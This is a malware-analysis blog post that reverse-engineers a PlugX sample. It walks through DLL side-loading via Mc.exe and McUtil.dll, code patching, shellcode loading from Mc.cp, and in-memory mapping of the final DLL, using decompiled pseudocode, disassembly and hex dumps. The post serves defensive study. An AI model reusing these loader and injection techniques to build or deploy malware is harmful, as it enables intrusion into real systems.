


# [QuickNote] Another nice PlugX sample


 kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/

January 9, 2023



Sample information shared by **Johann Aydinbas**(@jaydinbas):



 **Johann Aydinbas**  
@jaydinbas

#PlugX sample uploaded as "sanpang11.vhd", might be old, not sure.

[virustotal.com/gui/file/20254...](https://virustotal.com/gui/file/20254...)

Seems to fit this Sophos report: [sophos.com/en-us/medialib...](https://sophos.com/en-us/medialib...)

I've uploaded the core file:  
[virustotal.com/gui/file/2553d...](https://virustotal.com/gui/file/2553d...)  
(apparently referenced in a dozen reports but not uploaded yet, weird)

Sample hash:

[2025427bba36b48e827a61116321bbe6b00d77d3fd35d552f72e052eb88948e0](https://www.virustotal.com/gui/file/2025427bba36b48e827a61116321bbe6b00d77d3fd35d552f72e052eb88948e0)

Download [here!](#)

Details of this sample as shown below:

The image contains three screenshots illustrating the analysis of a sample file named 2022fgm.exe. The top-left screenshot shows a file explorer window with '2022fgm.exe' selected. The top-right screenshot shows the WinRAR interface with the file extracted into a folder containing 'Mc.cp', 'Mc.exe', and 'McUtil.dll'. The bottom-left screenshot shows the PE header information for '2022fgm.exe', including entry point, file offset, linker info, and subsystem. The bottom-right screenshot shows a detailed view of the extracted files with their sizes and CRC32 values.

Name	Size	Packed	Type	Modified	CRC32
..			File folder		
Mc.cp	121,128	107,865	CP File	10/17/2022 4:49 PM	7F05EFFF
Mc.exe	140,576	50,147	Application	6/12/2008 3:40 PM	633088B2
McUtil.dll	3,584	1,344	Application extension	5/8/2015 1:46 AM	6947163D

Name	Size	Type	Modified	CRC32
Mc.cp	119 KB	CP File	10/17/2022 4:49 PM	7F05EFFF
Mc.exe	138 KB	Application	6/12/2008 3:40 PM	633088B2
McUtil.dll	4 KB	Application extens...	5/8/2015 1:46 AM	6947163D

1. The **Mc.exe** code will use the **LoadLibraryW** API function to load **McUtil.dll**.
2. When **McUtil.dll** is loaded, the code at **DllEntryPoint** of this dll will be executed, then it will call the function that patch the below address of the LoadLibraryW function into a jump command to the function **plx\_read\_Mc\_cp\_content\_and\_exec**

Pseudocode at Mc.exe's **mw\_load\_and\_exec\_McUtil\_dll\_code** function:

```

DWORD __usercall mw_load_and_exec_McUtil_dll_code@<eax>(MW_CTX *ctx@<edi>, const
wchar_t *file_path@<esi>)
{
    wstr_McUtil_dll_full_path = 0;
    memset(v7, 0, sizeof(v7));
    if ( file_path && *file_path )
    {
        wcsncpy_s(&wstr_McUtil_dll_full_path, MAX_PATH, file_path);
        if ( *(&v5 + wcslen(&wstr_McUtil_dll_full_path)) == '\\ ' )
        {
            goto LABEL_8;
        }
    }
    else
    {
        GetModuleFileNameW(0, &wstr_McUtil_dll_full_path, MAX_PATH);
        backslash_pos = wcsrchr(&wstr_McUtil_dll_full_path, '\\');
        if ( !backslash_pos )
        {
            goto LABEL_8;
        }
        *backslash_pos = 0;
    }
    wcscat_s(&wstr_McUtil_dll_full_path, MAX_PATH, L"\\");
LABEL_8:
    wcscat_s(&wstr_McUtil_dll_full_path, MAX_PATH, ctx->wstr_McUtil_dll);
    // Load McUtil.dll and exec McUtil.dll's DllEntryPoint -> exec the patching/hooksing
function
    McUtil_dll_hdl = LoadLibraryW(&wstr_McUtil_dll_full_path);
    ctx->McUtil_dll_hdl = McUtil_dll_hdl;           // this instruction will be patched
to jump to plx_read_Mc_cp_content_and_exec function in McUtil.dll
    if ( McUtil_dll_hdl )
    {
        dwResult = 0;
    }
    else
    {
        dwResult = GetLastError();
    }
    return dwResult;
}

```

The pseudocode at the **plx\_patching\_func** function of **McUtil.dll** performs the task of patching code:

```

// This function will patch address at Mc_exe to jump to
plx_read_Mc_cp_content_and_exec function
char __stdcall plx_patching_func()
{

    base_idx = g_str_index;
    str_GetSystemTime = &g_dec_str[g_str_index];
    str_GetSystemTime = &g_dec_str[g_str_index];
    offset = &g_enc_GetSystemTime - &g_dec_str[g_str_index];
    len_str = 13;
    do
    {
        *str_GetSystemTime = ((str_GetSystemTime[offset] - 0x62) ^ 0x3F) + 0x62;//
GetSystemTime
        ++str_GetSystemTime;
        --len_str;
    }
    while ( len_str );
    str_GetSystemTime[0xD] = 0;
    g_str_index = base_idx + 0xE;
    // retrieve base address of kernel32.dll
    if ( !g_kernel32_dll_handle )
    {
        ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
        // 0x1A: maximum_length
        // 0x18: length
        // of "kernel32.dll"
        while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
        {
            ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
            if ( !ldr_entry )
            {
                goto LABEL_9;
            }
        }
        g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
    }
LABEL_9:
    GetSystemTime = GetProcAddress(g_kernel32_dll_handle, str_GetSystemTime);
    GetSystemTime(&SystemTime);
    tmp_var.dwRandomNum = SystemTime.wDay + 0x64 * (SystemTime.wMonth + 0x64 *
SystemTime.wYear);
    if ( tmp_var.dwRandomNum < 20140606 )
    {
        return tmp_var.dwRandomNum;
    }
    Mc_exe_base_addr = GetModuleHandleA(0); // return base address of
Mc.exe
    str_VirtualProtect = &g_dec_str[g_str_index];
    len_str = 14;
    offset = &g_enc_VirtualProtect - &g_dec_str[g_str_index];
    pTargetAddressAtMcExe = Mc_exe_base_addr + 0xBC3;

```

```

str_VirtualProtect = &g_dec_str[g_str_index];
g_str_index += 14;
do
{
    *str_VirtualProtect = ((str_VirtualProtect[offset] - 0xF) ^ 0x3F) + 0xF;//
VirtualProtect
    ++str_VirtualProtect;
    --len_str;
}
while ( len_str );
++g_str_index;
str_VirtualProtect[0xE] = 0;
if ( !g_kernel32_dll_handle )
{
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
        ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
        if ( !ldr_entry )
        {
            goto change_protection_and_patch_target_address;
        }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
}
change_protection_and_patch_target_address:
    VirtualProtect = GetProcAddress(g_kernel32_dll_handle, str_VirtualProtect);
    tmp_var.dwRes = VirtualProtect(pTargetAddressAtMcExe, 0x10u,
PAGE_EXECUTE_READWRITE, &f10ldProtect);
    if ( !tmp_var.dwRes )
    {
        return tmp_var.dwRandomNum;
    }

    tmp_var.disp_to_plx_read_Mc_cp_content_and_exec = plx_read_Mc_cp_content_and_exec -
pTargetAddressAtMcExe - 5;
    HIBYTE(v18) = HIBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);
    pTargetAddressAtMcExe[1] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;
    LOBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec) = HIBYTE(v18);
    *pTargetAddressAtMcExe = 0xE9; // jmp opcode
    pTargetAddressAtMcExe[2] = BYTE1(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);
    pTargetAddressAtMcExe[3] = (plx_read_Mc_cp_content_and_exec - pTargetAddressAtMcExe
- 5) >> 0x10;
    pTargetAddressAtMcExe[4] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;
    return tmp_var.dwRandomNum;
}

```

```

{
wscpy_s(&wstr_McUtil_dll_full_path, MAX_PATH, file_path);
if ( *(&v5 + wcslen(&wstr_McUtil_dll_full_path)) = '\\')
{
goto LABEL_8;
}
}
else
{
GetModuleFileNameW(0, &wstr_McUtil_dll_full_path, MAX_PATH);
backslash_pos = wcsrchr(&wstr_McUtil_dll_full_path, '\\');
if ( !backslash_pos )
{
goto LABEL_8;
}
*backslash_pos = 0;
}
wscat_s(&wstr_McUtil_dll_full_path, MAX_PATH, L"\\");
LABEL_8:
wscat_s(&wstr_McUtil_dll_full_path, MAX_PATH, ctx->wstr_McUtil_dll);
// Load McUtil.dll and exec McUtil.dll's DllEntryPoint -> exec the patching/hooking function
McUtil_dll_hdl = LoadLibraryW(&wstr_McUtil_dll_full_path);
ctx->McUtil_dll_hdl = McUtil_dll_hdl; // this instruction will be patched to jump to plx_read_Mc_cp_content_and_exec function in McUtil.dll
if ( McUtil_dll_hdl )
{
dwResult = 0;
}
else
{
dwResult = GetLastError();
}
return dwResult;
}

read_Mc_content_and_exec_shellcode:
ReadFile = GetProcAddress(g_kernel32_dll_handle, str_ReadFile);
if ( ReadFile(Mc_cp_hdl, tmp_var.ptr_shellcode, 0x100000u, &path_length, 0) )
{
tmp_var.ptr_shellcode(0); // exec shellcode
str_Sleep = &g_dec_str[g_str_index];
strcpy(&g_dec_str[g_str_index], "Sleep");
g_str_index += 6;
if ( !g_kernel32_dll_handle )
{
ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
{
ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
if ( !ldr_entry )
{
goto sleep;
}
}
g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
}
sleep:
Sleep = GetProcAddress(g_kernel32_dll_handle, str_Sleep);
Sleep(4294967295u);
}
}
}

change_protection_and_patch_target_address:
VirtualProtect = GetProcAddress(g_kernel32_dll_handle, str_VirtualProtect);
tmp_var.dwRes = VirtualProtect(pTargetAddressAtMcExec, 0x10u, PAGE_EXECUTE_READWRITE, &fOldProtect);
if ( !tmp_var.dwRes )
{
return tmp_var.dwRandomNum;
}
tmp_var.disp_to_plx_read_Mc_cp_content_and_exec = plx_read_Mc_cp_content_and_exec - pTargetAddressAtMcExec - 5;
HIBYTE(w18) = HIBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);
pTargetAddressAtMcExec[1] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;
LOBYTE(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec) = HIBYTE(w18);
*pTargetAddressAtMcExec = 0xE9; // jmp opcode
pTargetAddressAtMcExec[2] = BYTE1(tmp_var.disp_to_plx_read_Mc_cp_content_and_exec);
pTargetAddressAtMcExec[3] = (plx_read_Mc_cp_content_and_exec - pTargetAddressAtMcExec - 5) >> 0x10;
pTargetAddressAtMcExec[4] = tmp_var.disp_to_plx_read_Mc_cp_content_and_exec;
return tmp_var.dwRandomNum;
}

```

The pseudocode at the function `plx_read_Mc_cp_content_and_exec` of `McUtil.dll` performs the task of reading the entire contents of `Mc.cp` into the allocated memory and executing the shellcode.

```

void __stdcall plx_read_Mc_cp_content_and_exec()
{
    tmp_index = g_str_index;
    str_VirtualAlloc = &g_dec_str[g_str_index];
    str_VirtualAlloc = &g_dec_str[g_str_index];
    offset = &g_enc_VirtualAlloc - &g_dec_str[g_str_index];
    len_str = 12;
    do
    {
        *str_VirtualAlloc = ((str_VirtualAlloc[offset] + 0x74) ^ 0x3F) - 0x74;//
VirtualAlloc
        ++str_VirtualAlloc;
        --len_str;
    }
    while ( len_str );
    g_str_index = tmp_index + 0xD;
    str_VirtualAlloc[0xC] = 0;
    if ( !g_kernel32_dll_handle )
    {
        ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
        while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
        {
            ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
            if ( !ldr_entry )
            {
                goto alloc_mem;
            }
        }
        g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
    }
alloc_mem:
    VirtualAlloc = GetProcAddress(g_kernel32_dll_handle, str_VirtualAlloc);
    ptr_shellcode = VirtualAlloc(0, 0x100000u, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    tmp_index = g_str_index;
    tmp_var.ptr_shellcode = ptr_shellcode;
    str_GetModuleFileNameW = &g_dec_str[g_str_index];
    str_GetModuleFileNameW = &g_dec_str[g_str_index];
    offset = &g_enc_GetModuleFileNameW - &g_dec_str[g_str_index];
    len_str = 18;
    do
    {
        *str_GetModuleFileNameW = ((str_GetModuleFileNameW[offset] - 0x40) ^ 0x3F) +
0x40;// GetModuleFileNameW
        ++str_GetModuleFileNameW;
        --len_str;
    }
    while ( len_str );
    str_GetModuleFileNameW[0x12] = 0;
    g_str_index = tmp_index + 0x13;
    if ( !g_kernel32_dll_handle )
    {

```

```

ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
{
    ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
    if ( !ldr_entry )
    {
        goto get_mw_path;
    }
}
g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
}
get_mw_path:
GetModuleFileNameW = GetProcAddress(g_kernel32_dll_handle, str_GetModuleFileNameW);
path_length = GetModuleFileNameW(0, tmp_var.wstr_Mc_cp_full_path, 0x1000u);
str_lstrcpyW = &g_dec_str[g_str_index];
strcpy(&g_dec_str[g_str_index], "lstrcpyW");
g_str_index += 9;
if ( !g_kernel32_dll_handle )
{
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
        ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
        if ( !ldr_entry )
        {
            goto build_Mc_cp_path;
        }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
}
build_Mc_cp_path:
lstrcpyW = GetProcAddress(g_kernel32_dll_handle, str_lstrcpyW);
idx = --path_length;
if ( path_length )
{
    while ( tmp_var.wstr_Mc_cp_full_path[idx] != '\\\ ' )
    {
        path_length = --idx;
        if ( !idx )
        {
            goto read_and_exec_shellcode;
        }
    }
    lstrcpyW(&tmp_var.wstr_Mc_cp_full_path[idx + 1], L"Mc.cp");
}
read_and_exec_shellcode:
tmp_index = g_str_index;
str_CreateFileW = &g_dec_str[g_str_index];
str_CreateFileW = &g_dec_str[g_str_index];
offset = &g_enc_CreateFileW - &g_dec_str[g_str_index];
len_str = 11;
do

```



```

{
    *str_CreateFileW = ((str_CreateFileW[offset] + 0x7B) ^ 0x3F) - 0x7B;
    ++str_CreateFileW;
    --len_str;
}
while ( len_str );
str_CreateFileW[0xB] = 0;
g_str_index = tmp_index + 0xC;
if ( !g_kernel32_dll_handle )
{
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
        ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
        if ( !ldr_entry )
        {
            goto get_handle_to_Mc_for_reading;
        }
    }
    g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
}
get_handle_to_Mc_for_reading:
CreateFileW = GetProcAddress(g_kernel32_dll_handle, str_CreateFileW);
Mc_cp_hdl = CreateFileW(tmp_var.wstr_Mc_cp_full_path, GENERIC_READ,
FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if ( Mc_cp_hdl != INVALID_HANDLE_VALUE )
{
    str_ReadFile = &g_dec_str[g_str_index];
    strcpy(&g_dec_str[g_str_index], "ReadFile");
    g_str_index += 9;
    if ( !g_kernel32_dll_handle )
    {
        ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
        while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
        {
            ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
            if ( !ldr_entry )
            {
                goto read_Mc_content_and_exec_shellcode;
            }
        }
        g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
    }
}
read_Mc_content_and_exec_shellcode:
ReadFile = GetProcAddress(g_kernel32_dll_handle, str_ReadFile);
if ( ReadFile(Mc_cp_hdl, tmp_var.ptr_shellcode, 0x100000u, &path_length, 0) )
{
    tmp_var.ptr_shellcode(0); // exec shellcode
    str_Sleep = &g_dec_str[g_str_index];
    strcpy(&g_dec_str[g_str_index], "Sleep");
    g_str_index += 6;
    if ( !g_kernel32_dll_handle )

```

```

{
  ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
  while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
  {
    ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
    if ( !ldr_entry )
    {
      goto sleep;
    }
  }
  g_kernel32_dll_handle = ADJ(ldr_entry)->DllBase;
}
sleep:
Sleep = GetProcAddress(g_kernel32_dll_handle, str_Sleep);
Sleep(4294967295u);
}
}
}
}

```

Shellcode at **Mc.cp** will perform decrypting of the second shellcode and executes this shellcode:

```

seg000:000003E8 loc_3EB:          ; CODE XREF: seg000:000003E5+j
seg000:000003E8 add     edx, 9B3h      ; edx point next offset (0x9B3)
seg000:000003F1 jle    short loc_3F6
seg000:000003F1 jg     short loc_3F6
seg000:0000048E cmp     ebx, 2F768CB4h
seg000:00000494 mov     eax, 1C775h    ; next stage size is 0x1C775
seg000:00000499 jb     short loc_49E
seg000:00000499 jnb    short loc_49E
seg000:0000049B cmp     esi, 986EE405h
seg000:0000049E add     byte ptr [edx], 11h ; (byte*)(edx) += 0x11
seg000:0000049E xor     ecx, 0C3DAF211h
seg000:0000049E or     esi, 23C2A850h
seg000:0000049E xor     byte ptr [edx], 0C2h ; (byte*)(edx) ^= 0xC2
seg000:0000049E jbe    short loc_508
seg000:0000049E ja     short loc_508
seg000:0000049E sub     edi, 727C2D76h
seg000:0000049E sub     byte ptr [edx], 73h ; 's' ; (byte*)(edx) -= 0x73
seg000:0000049E inc     ebx
seg000:0000049E jnb    short loc_668
seg000:0000049E jnb    short loc_668

```

A python decrypt\_shellcode.py Mc.cp plugx\_final\_sc.bin  
[\*] Decrypt shellcode from Mc.cp and save to plugx\_final\_sc.bin!

Offset (h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	Decoded text
00000000	E8	00	00	00	58	83	E8	05	8B	4C	24	04	51	68	00	00	è...Xfè.<LS.Qh.
00000010	08	00	00	8D	88	75	C7	01	00	51	68	56	C2	01	00	8D	...^uç..QhVÅ...
00000020	88	1F	05	00	00	51	68	75	CF	01	00	8D	88	00	00	00	...QhuI...^...
00000030	00	51	54	E8	06	00	00	00	83	C4	1C	C2	04	00	00	8B	.QTè...fÅ.Å..Uc
00000040	EC	64	A1	30	00	00	00	00	8B	40	0C	8B	40	1C	81	EC	Id;0...<@.<@.iD
00000050	00	00	00	56	81	78	1C	18	00	1A	00	74	08	8B	00	85	...V.x...<@.<@.iD
00000060	C0	75	F1	EB	07	8B	70	08	85	F6	75	08	33	C0	40	E9	Åuñè.<p...òu.SÅèè
00000070	A6	04	00	00	8B	46	3C	8B	4C	30	78	03	CE	8B	51	20	!...<F<Lòx.ìQ
00000080	53	8B	59	18	57	03	D6	33	FF	85	DB	7E	61	8B	04	BA	S<Y.W.ò3y...Ù~a<.°
00000090	03	C6	80	38	47	75	36	80	78	01	65	75	30	80	78	02	.BÈ8Gu6èx.eu0èx.
000000A0	74	75	2A	80	78	03	50	75	24	80	78	04	72	75	1E	80	tu*èx.Puèèx.eu.è
000000B0	78	05	6F	75	18	80	78	06	63	75	12	80	78	07	41	75	x.ou.èx.eu.èx.Au
000000C0	0C	80	78	08	64	75	06	80	78	09	64	74	07	47	3B	FB	.èx.du.èx.dè.G;ù
000000D0	7C	BB	EB	1A	8B	41	24	8B	49	1C	8D	04	78	0F	B7	04	}è.<Aè<I...x.g.~
000000E0	30	8D	04	81	8B	3C	30	03	FE	89	7D	E0	75	07	6A	02	0...<<0.pè)à.u.j.
000000F0	E9	11	04	00	00	8D	45	80	50	56	C7	45	80	4C	6F	61	é...EEPVèèLoa
00000100	64	C7	45	84	4C	69	62	72	C7	45	88	61	72	79	41	C6	dèè.Librèè^aryAZ
00000110	45	8C	00	FF	D7	89	45	DC	85	C0	75	07	6A	03	E9	E3	EG.y*èEU.Àu.j.èè
00000120	03	00	00	8D	85	60	FF	FF	FF	50	56	C7	85	60	FF	FF	...^...^yypVèè...yy
00000130	FF	56	69	72	74	C7	85	64	FF	FF	FF	75	61	6C	41	C7	yVirtèè.dyyyuaLAè
00000140	85	68	FF	FF	6C	6C	6F	63	C6	85	6C	FF	FF	FF	00	00	...hyyyllòè.L.yyyy.

The second shellcode unpacks the final PlugX Dll, maps it to the allocated memory and calls the Dll's **DllEntryPoint** to execute it.

```

int __stdcall plx_sc_start(int ai)
{
    PLX_SHELLCODE_CTX sc_ctx; // [esp-1Ch] [ebp-1Ch] BYREF

    sc_ctx.field_18 = ai;
    sc_ctx.dw_0x800 = 0x800;
    sc_ctx.sc_size = 0x1C775; // shellcode size (end_of_sc)
    sc_ctx.dll_uncompressed_size = 0x1C256; // dll uncompressed size
    sc_ctx.uncompressed_buffer_size = &ptr_compressed_dll_size; // compressed dll size = 0x26400
    sc_ctx.dw_0x1CF75 = 0x1CF75;
    sc_ctx.sc_base_addr = plx_sc_start;
    return plx_load_dll_from_memory(&sc_ctx);
}

```

```

uncompressed_buffer_size = *sc_ctx->uncompressed_buffer_size; // 0x26400
uncompressed_buffer = VirtualAlloc(0, uncompressed_buffer_size, MEM_COMMIT, PAGE_READWRITE);
if ( !uncompressed_buffer )
{
    dwRes = 0xC;
    goto exit;
}

if ( tmp_var.RtlDecompressBuffer(
    COMPRESSION_FORMAT_LZNT1,
    uncompressed_buffer,
    uncompressed_buffer_size,
    sc_ctx->uncompressed_buffer_size + 4, // compressed dll buffer (offset 0x523)
    sc_ctx->dll_uncompressed_size - 4, // 0x1C252
    &final_uncompressed_size) )
{
    dwRes = 0xD;
    goto exit;
}

if ( final_uncompressed_size != uncompressed_buffer_size )
{
    dwRes = 0xE;
    goto exit;
}

if ( *uncompressed_buffer != '\X' )
{
    dwRes = 0xF;
    goto exit;
}

decompressed_dll_nt_headers = &uncompressed_buffer[(uncompressed_buffer + 0xF)];
if ( decompressed_dll_nt_headers->Signature != '\X' )
{
    dwRes = 0x10;
}

```

```

dumped_decompressed_plugx_dll.bin.org
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text
00000000 58 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .XV.....
00000001 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000002 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000003 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000004 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000005 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000006 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000007 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000008 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000009 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000000A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000000B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000000C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000000D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000000E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000000F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000011 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000012 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000013 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000014 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000015 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000016 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000017 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000018 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000019 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000001A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000001B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000001C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000001D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000001E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000001F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
00000020 42 38 00 00 00 10 02 00 00 3A 00 00 00 00 02 00 .B8.....

```

The whole pseudocode of this second shellcode is as below:

```

int __stdcall plx_load_dll_from_memory(PLX_SHELLCODE_CTX *sc_ctx)
{
    ldr_entry = NtCurrentPeb()->Ldr->InInitializationOrderModuleList.Flink;
    while ( *&ADJ(ldr_entry)->BaseDllName.Length != 0x1A0018 )
    {
        ldr_entry = ADJ(ldr_entry)->InInitializationOrderLinks.Flink;
        if ( !ldr_entry )
            return 1;
    }
    kernel32_base_addr = ADJ(ldr_entry)->DllBase;
    if ( !kernel32_base_addr )
        return 1;
    pExportDir = (kernel32_base_addr + *(kernel32_base_addr + *(kernel32_base_addr +
0xF) + 0x78));
    numApiNames = pExportDir->NumberOfNames;
    idx = 0;
    if ( numApiNames <= 0 )
        goto LABEL_21;
    // find GetProcAdderss
    while ( TRUE )
    {
        str_GetProcAdderss = kernel32_base_addr + *(kernel32_base_addr + 4 * idx +
pExportDir->AddressOfNames);
        if ( *str_GetProcAdderss == 'G'
            && str_GetProcAdderss[1] == 'e'
            && str_GetProcAdderss[2] == 't'
            && str_GetProcAdderss[3] == 'P'
            && str_GetProcAdderss[4] == 'r'
            && str_GetProcAdderss[5] == 'o'
            && str_GetProcAdderss[6] == 'c'
            && str_GetProcAdderss[7] == 'A'
            && str_GetProcAdderss[8] == 'd'
            && str_GetProcAdderss[9] == 'd' )
        {
            break;
        }
        if ( ++idx >= numApiNames )
            goto LABEL_21;
    }
    GetProcAddress_rva = *(kernel32_base_addr + 4 * *(kernel32_base_addr + 2 * idx +
pExportDir->AddressOfNameOrdinals) + pExportDir->AddressOfFunctions);
    // retrieve GetProcAdderss addr
    bRet = kernel32_base_addr + GetProcAddress_rva == 0;
    GetProcAddress = (kernel32_base_addr + GetProcAddress_rva);
    if ( bRet )
    {
LABEL_21:
        dwRes = 2;
        goto exit;
    }
    strcpy(str_LoadLibraryA, "LoadLibraryA");
}

```

```

LoadLibraryA = GetProcAddress(kernel32_base_addr, str_LoadLibraryA);
if ( !LoadLibraryA )
{
    dwRes = 3;
    goto exit;
}
strcpy(str_VirtualAlloc, "VirtualAlloc");
VirtualAlloc = GetProcAddress(kernel32_base_addr, str_VirtualAlloc);
if ( !VirtualAlloc )
{
    dwRes = 4;
    goto exit;
}
strcpy(str_VirtualFree, "VirtualFree");
VirtualFree = GetProcAddress(kernel32_base_addr, str_VirtualFree);
if ( !VirtualFree )
{
    dwRes = 5;
    goto exit;
}
strcpy(str_ntdll, "ntdll");
ntdll_handle = LoadLibraryA(str_ntdll);
if ( !ntdll_handle )
{
    dwRes = 7;
    goto exit;
}
strcpy(str_RtlDecompressBuffer, "RtlDecompressBuffer");
tmp_var.RtlDecompressBuffer = GetProcAddress(ntdll_handle,
str_RtlDecompressBuffer);
if ( !tmp_var.RtlDecompressBuffer )
{
    dwRes = 8;
    goto exit;
}
strcpy(str_memcpy, "memcpy");
tmp_var1.memcpy = GetProcAddress(ntdll_handle, str_memcpy);
if ( !tmp_var1.memcpy )
{
    dwRes = 9;
    goto exit;
}
uncompressed_buffer_size = *sc_ctx->uncompressed_buffer_size;// 0x26400
uncompressed_buffer = VirtualAlloc(0, uncompressed_buffer_size, MEM_COMMIT,
PAGE_READWRITE);
if ( !uncompressed_buffer )
{
    dwRes = 0xC;
    goto exit;
}
if ( tmp_var.RtlDecompressBuffer(
    COMPRESSION_FORMAT_LZNT1,

```

```

        uncompressed_buffer,
        uncompressed_buffer_size,
        sc_ctx->uncompressed_buffer_size + 4, // compressed dll buffer (offset
0x523)
        sc_ctx->dll_uncompressed_size - 4, // 0x1C252
        &final_uncompressed_size) )
    {
        dwRes = 0xD;
        goto exit;
    }
    if ( final_uncompressed_size != uncompressed_buffer_size )
    {
        dwRes = 0xE;
        goto exit;
    }
    if ( *uncompressed_buffer != 'VX' )
    {
        dwRes = 0xF;
        goto exit;
    }
    decompressed_dll_nt_headers = &uncompressed_buffer[*(uncompressed_buffer + 0xF)];
    if ( decompressed_dll_nt_headers->Signature != 'VX' )
    {
        dwRes = 0x10;
        goto exit;
    }
    plugx_mapped_dll = VirtualAlloc(0, decompressed_dll_nt_headers->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    tmp_var3.ptr_plugx_mapped_dll = plugx_mapped_dll;
    if ( !plugx_mapped_dll )
    {
        dwRes = 0x11;
        goto exit;
    }
    AddressOfEntryPoint = decompressed_dll_nt_headers->OptionalHeader.AddressOfEntryPoint;
    tmp_var2.cnt = 0;
    // retrieve the address of DllEntryPoint in mapped address
    ptr_PlugX_dll_entry_point = (plugx_mapped_dll + AddressOfEntryPoint);
    // copy sections
    decompressed_dll_section_headers = (&decompressed_dll_nt_headers->OptionalHeader + decompressed_dll_nt_headers->FileHeader.SizeOfOptionalHeader);
    if ( decompressed_dll_nt_headers->FileHeader.NumberOfSections )
    {
        pRawAddr = &decompressed_dll_section_headers->PointerToRawData;
        do
        {
            tmp_var1.memcpy(
